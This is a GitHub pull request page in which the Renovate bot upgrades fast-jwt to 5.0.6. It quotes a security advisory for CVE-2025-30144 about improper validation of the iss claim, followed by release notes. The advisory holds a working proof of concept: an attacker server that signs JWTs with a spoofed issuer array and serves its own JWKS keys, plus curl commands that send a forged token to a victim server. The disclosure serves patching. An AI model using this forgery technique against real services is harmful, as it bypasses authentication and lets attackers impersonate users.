Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Mar 19, 2025

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
fast-jwt 4.0.0 -> 5.0.6 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2025-30144

Summary

The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Details

The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.

Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.

PoC

Take a server running the following code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });

const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());

async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

Impact

Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.

Solution

Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.


Release Notes

nearform/fast-jwt (fast-jwt)

v5.0.6

Compare Source

SECURITY RELEASE

This release contains a fix for GHSA-gm45-q3v2-6cf8.

Upgrading is strongly recommended.

Thanks to @​tibrn for reporting, and @​agubler for fixing it.

What's Changed

New Contributors

Full Changelog: nearform/fast-jwt@v5.0.5...v5.0.6

v5.0.5

Compare Source

What's Changed

Full Changelog: nearform/fast-jwt@v5.0.2...v5.0.5

v5.0.2

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/fast-jwt@v5.0.1...v5.0.2

v5.0.1

Compare Source

What's Changed

Full Changelog: nearform/fast-jwt@v5.0.0...v5.0.1

v5.0.0

Compare Source

Breaking changes

This version supports Node 20 and above

What's Changed

Full Changelog: nearform/fast-jwt@v4.0.5...v5.0.0

v4.0.6

Compare Source

v4.0.5

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/fast-jwt@v4.0.3...v4.0.5

v4.0.3

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/fast-jwt@v4.0.2...v4.0.3

v4.0.2

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/fast-jwt@v4.0.1...v4.0.2

v4.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/fast-jwt@v4.0.0...v4.0.1


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-fast-jwt-vulnerability branch from 3ad647c to 815d27f Compare July 18, 2025 09:03
@psteinroe psteinroe merged commit 135dab5 into main Jul 18, 2025
4 checks passed
@psteinroe psteinroe deleted the renovate/npm-fast-jwt-vulnerability branch July 18, 2025 09:18
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants